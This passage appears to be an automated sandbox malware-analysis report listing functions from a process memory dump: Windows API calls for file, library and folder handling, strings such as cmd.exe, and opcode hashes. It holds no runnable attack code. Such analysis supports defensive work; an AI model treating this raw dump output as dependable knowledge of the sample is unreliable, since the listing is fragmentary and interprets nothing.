Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpen
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 47109696-1019749484
Opcode ID: da8735f4dc006e90bb9b8b986ea425c324a21ddcfd42a3c6304858d0bd78099f
Instruction ID: ff1a3d223dd7ccb396a2362d893f6dffa0b2018229c4d4fe2cb2bd772e9b64c8
Opcode Fuzzy Hash: da8735f4dc006e90bb9b8b986ea425c324a21ddcfd42a3c6304858d0bd78099f
Instruction Fuzzy Hash: 9CF0A7313002146BEA14B5DEAC86BAEA7DEDFC5754F20007FF608D7341DAA5AE018776

Uniqueness

Uniqueness Score: -1.00%

Function 0060D628, Relevance: 3.2, APIs: 2, Instructions: 192fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(000000FF,?,00000000,0060D852,?,00000000,0060D8C6,?,?,?,006AB575,00000000,006AB4C4,00000000,00000000,00000001), ref: 0060D82E
FindClose.KERNEL32(000000FF,0060D859,0060D852,?,00000000,0060D8C6,?,?,?,006AB575,00000000,006AB4C4,00000000,00000000,00000001,00000001), ref: 0060D84C

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: bfe0e110cb18fdf3f78f21a044ba7b0501ac214a82594cebfa9e70c508dbf863
Instruction ID: 1c78dce3c56f1043e552bdc12dc5b32a6e7837210c4168244b7acddc60a03fe0
Opcode Fuzzy Hash: bfe0e110cb18fdf3f78f21a044ba7b0501ac214a82594cebfa9e70c508dbf863
Instruction Fuzzy Hash: 99818E30D442899EDF15DFA5C885BEEBBB6AF05304F1482AAE858732C1C7349F85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 005CF994, Relevance: 3.1, APIs: 2, Instructions: 107COMMON

Download Yara Rule

APIs

Part of subcall function 005CD18C: GetDC.USER32(00000000), ref: 005CD19D
Part of subcall function 005CD18C: SelectObject.GDI32(0068C9D4,00000000), ref: 005CD1BF
Part of subcall function 005CD18C: GetTextExtentPointW.GDI32(0068C9D4,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,?), ref: 005CD1D3
Part of subcall function 005CD18C: GetTextMetricsW.GDI32(0068C9D4,?,00000000,005CD218,?,00000000,?,?,0068C9D4), ref: 005CD1F5
Part of subcall function 005CD18C: ReleaseDC.USER32 ref: 005CD212

MulDiv.KERNEL32(0068D3C3,00000006,00000006), ref: 005CFA61
MulDiv.KERNEL32(?,?,0000000D), ref: 005CFA78

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$ExtentMetricsObjectPointReleaseSelect
String ID:
API String ID: 844173074-0
Opcode ID: fd25a673d468ed6fabf3aa3adbc59892d19b3712dbcf1daa220eafedc1c648fb
Instruction ID: ab832f5469577de02f6ead1a3026336d1fcba8013a7d9bcb612a7bf876de2192
Opcode Fuzzy Hash: fd25a673d468ed6fabf3aa3adbc59892d19b3712dbcf1daa220eafedc1c648fb
Instruction Fuzzy Hash: D841F835A00109EFCB04DBA8D985EADB7F9FB49314F2541A9F808EB361D771AE41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8BC, Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000000,0040E9D3,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040EA5A,00000000,?,00000105), ref: 0040E967
GetSystemDefaultUILanguage.KERNEL32(00000000,0040E9D3,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040EA5A,00000000,?,00000105), ref: 0040E98F

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: DefaultLanguage$SystemUser
String ID:
API String ID: 384301227-0
Opcode ID: e8cd89fe78807f8a59e4ef6fd92fca2d24216d165143f74ece7b225ae6d9bccb
Instruction ID: 67efb5fed51bc053756b647ddfd8e6ea43793a5abe40bf12c6ea97a73f2c0f5a
Opcode Fuzzy Hash: e8cd89fe78807f8a59e4ef6fd92fca2d24216d165143f74ece7b225ae6d9bccb
Instruction Fuzzy Hash: AF312F70A002199FDB10EB9AC882BAEB7B5EF48308F50497BE400B33D1D7789D558B99

Uniqueness

Uniqueness Score: -1.00%

Function 00414020, Relevance: 3.1, APIs: 2, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 0041404A
GetProcAddress.KERNEL32(?,00000000), ref: 00414083

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 87bbede48919e2c320656d28165f2dd41f3e4cb1cd8a5dac7222dfe60dbaf93b
Instruction ID: b41df1fa75d381eed13266955d9feb05bf3a80cdd3b44aa66b38c7297c5ee5d6
Opcode Fuzzy Hash: 87bbede48919e2c320656d28165f2dd41f3e4cb1cd8a5dac7222dfe60dbaf93b
Instruction Fuzzy Hash: 3C11C631604208AFD701DF22CC529AD7BECEB8E714BA2047AF904E3680DB385F549599

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9E0, Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040EA9A,?,?,00000000), ref: 0040EA1C
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040EA9A,?,?,00000000), ref: 0040EA6D

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileLibraryLoadModuleName
String ID:
API String ID: 1159719554-0
Opcode ID: d8f8903bb8f55f7d45334c9080d72fcc7eb242fea3614e091d73e0bd29641f10
Instruction ID: bfcf378974dcce41ca09e2914a43810c414f47049a433e9fa093b73340916525
Opcode Fuzzy Hash: d8f8903bb8f55f7d45334c9080d72fcc7eb242fea3614e091d73e0bd29641f10
Instruction Fuzzy Hash: 46114270A4021CABDB10EB61DC86BDE73B8EB18304F5145FEA508B72D1DB785E848E99

Uniqueness

Uniqueness Score: -1.00%

Function 005ABB4C, Relevance: 3.0, APIs: 2, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 005ABB9E
EnumThreadWindows.USER32(00000000,005ABAFC,00000000), ref: 005ABBA4

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$CurrentEnumWindows
String ID:
API String ID: 2396873506-0
Opcode ID: 2500ecb8bc62876c8ff2405f47f095ea4bb89944262ada6799aa535262b27f39
Instruction ID: 4b564e7848d778c1821dbee75f023e1981a666a926d985b7d896297b812e440b
Opcode Fuzzy Hash: 2500ecb8bc62876c8ff2405f47f095ea4bb89944262ada6799aa535262b27f39
Instruction Fuzzy Hash: 93112574A08744AFD711CF26DC92D6ABFE9E74A710F11A4AAE800D3795EB756C00CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0060C03C, Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000000,?,00000000,0060C09D,?,?,?,?), ref: 0060C077
GetLastError.KERNEL32(00000000,?,00000000,0060C09D,?,?,?,?), ref: 0060C07F

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: aefb7216678348a2270eaeef46ec0bccbf84056bb958df5410110fcb5ffe27f0
Instruction ID: c17702673c476ab4ff1d99b3d6bf9529c00fd5d73355b6b7c70e45cc79413ba9
Opcode Fuzzy Hash: aefb7216678348a2270eaeef46ec0bccbf84056bb958df5410110fcb5ffe27f0
Instruction Fuzzy Hash: 48F0F931A44308ABCB04DFB99C0189FB7EDDB857207514ABBF804D3281EB755E008158

Uniqueness

Uniqueness Score: -1.00%

Function 0060BAB8, Relevance: 3.0, APIs: 2, Instructions: 42fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,00000000,0060BB15,?,?,?), ref: 0060BAEF
GetLastError.KERNEL32(00000000,00000000,0060BB15,?,?,?), ref: 0060BAF7

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 3ac4022b0d504f8d56561d974b577821acbd762e4ecd66f76f585f39e4d74a53
Instruction ID: 78568c7df48a63312c1550ac91009127c3edb94fe6ea848b53d264e1db3dc997
Opcode Fuzzy Hash: 3ac4022b0d504f8d56561d974b577821acbd762e4ecd66f76f585f39e4d74a53
Instruction Fuzzy Hash: 89F0C831B44308ABCB15DFB5AC014AFB7EDDB49310B5189B6F804E3281EB755E005694

Uniqueness

Uniqueness Score: -1.00%

Function 0060BFC4, Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNEL32(00000000,00000000,0060C021,?,?,00000000), ref: 0060BFFB
GetLastError.KERNEL32(00000000,00000000,0060C021,?,?,00000000), ref: 0060C003

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 4f11924e44832b53a48258f3fad39eddf14758d76f0ec3ccb02dc41b6ad7c7d0
Instruction ID: d83f262ecc697e56b821021d063cc9f2e957c9b8bafe74f0302a089c4b99f6ee
Opcode Fuzzy Hash: 4f11924e44832b53a48258f3fad39eddf14758d76f0ec3ccb02dc41b6ad7c7d0
Instruction Fuzzy Hash: 28F0C231A44208ABCB04DFB5AC418AFB3EDDB493207518ABAF804E3281EB355E009698

Uniqueness

Uniqueness Score: -1.00%

Function 0060BC90, Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000,00000000,0060BCEF,?,?), ref: 0060BCC9
GetLastError.KERNEL32(00000000,00000000,0060BCEF,?,?), ref: 0060BCD1

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: 1c121fbd5665a0096efe5b84419c7e24b5e8f66e2a1324fde6f8faf8d5c18489
Instruction ID: 077669ac207cf36a01174a2dc4ca6ad55a817ede354f0dc89a67c00d07fb0518
Opcode Fuzzy Hash: 1c121fbd5665a0096efe5b84419c7e24b5e8f66e2a1324fde6f8faf8d5c18489
Instruction Fuzzy Hash: 74F02830E847089BDB04DF759C0189EB3A9EB0532075187BAF814933C1EB345E008688

Uniqueness

Uniqueness Score: -1.00%

Function 0042B840, Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000,00000000), ref: 0042B84A
LoadLibraryW.KERNEL32(00000000,00000000,0042B894,?,00000000,0042B8B2,?,00008000,00000000), ref: 0042B879

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: b993803051ae100aefba2c2869379d033386bf384ceaa9f28ae483a43a6be7f1
Instruction ID: 8ff579c406fa8de576af151128aa35465f0cec1f25fcd6592dc14664995b8e04
Opcode Fuzzy Hash: b993803051ae100aefba2c2869379d033386bf384ceaa9f28ae483a43a6be7f1
Instruction Fuzzy Hash: E9F08270614B04BEDF116FB69C5286ABBECE74AB0479349B6F814A2691E67C481086A8

Uniqueness

Uniqueness Score: -1.00%

Function 005B8250, Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 005B8281
SetWindowTextW.USER32(?,00000000), ref: 005B8297

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: 106e8816436f1c0698a1400b8a78d0a82f037fb7dfb6323774298cdd51175139
Instruction ID: 55054c52d29fd938ddbce081dc8bbbf905119a19cfde818b1d6f861c0ddb3f35
Opcode Fuzzy Hash: 106e8816436f1c0698a1400b8a78d0a82f037fb7dfb6323774298cdd51175139
Instruction Fuzzy Hash: AFF0A7343016002ADB11AB6A8885BFA678CAF95715F0805BAFD049F287CF785D41C3BA

Uniqueness

Uniqueness Score: -1.00%

Function 006AAE7F, Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(006CC7F4,00008000,00000000,?,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAE8F
CoTaskMemFree.OLE32(?,006AAED2,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAEC5
SHGetKnownFolderPath.SHELL32(006CC804,00008000,00000000,?,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAEE2
CoTaskMemFree.OLE32(?,006AAF25,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAF18

Strings

COMMAND.COM, xrefs: 006AAF64
cmd.exe, xrefs: 006AAF43
Failed to get path of 64-bit Common Files directory, xrefs: 006AAE02
ProgramFilesDir, xrefs: 006AAD2A, 006AADB1
Failed to get path of 64-bit Program Files directory, xrefs: 006AADD3
\Program Files, xrefs: 006AAD51
SystemDrive, xrefs: 006AACC9
Common Files, xrefs: 006AAD9B
CommonFilesDir, xrefs: 006AAD64, 006AADE0

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FolderFreeKnownPathTask
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 969438705-544719455
Opcode ID: d842c7c1da2f123ce9d11a7297303bffa5d20d4a34150eda36a0696f7cbe019c
Instruction ID: 9ad3a79c7d002b666d6474b190419673809a6fc1a9e74143ce7ee687fd54a3e4
Opcode Fuzzy Hash: d842c7c1da2f123ce9d11a7297303bffa5d20d4a34150eda36a0696f7cbe019c
Instruction Fuzzy Hash: E3E09231704704AFE711EBE19C52F2A77EAF749B00F6204A7F400E2A80D734AD10EE25

Uniqueness

Uniqueness Score: -1.00%

Function 006AAED2, Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(006CC804,00008000,00000000,?,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAEE2
CoTaskMemFree.OLE32(?,006AAF25,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAF18

Strings

COMMAND.COM, xrefs: 006AAF64
cmd.exe, xrefs: 006AAF43
Failed to get path of 64-bit Common Files directory, xrefs: 006AAE02
ProgramFilesDir, xrefs: 006AAD2A, 006AADB1
Failed to get path of 64-bit Program Files directory, xrefs: 006AADD3
\Program Files, xrefs: 006AAD51
SystemDrive, xrefs: 006AACC9
Common Files, xrefs: 006AAD9B
CommonFilesDir, xrefs: 006AAD64, 006AADE0

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FolderFreeKnownPathTask
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 969438705-544719455
Opcode ID: ac0e4c5cf4e5570656f2ce48f9db2bd67d3f5e148baebc3b6527ce026dfeb88c
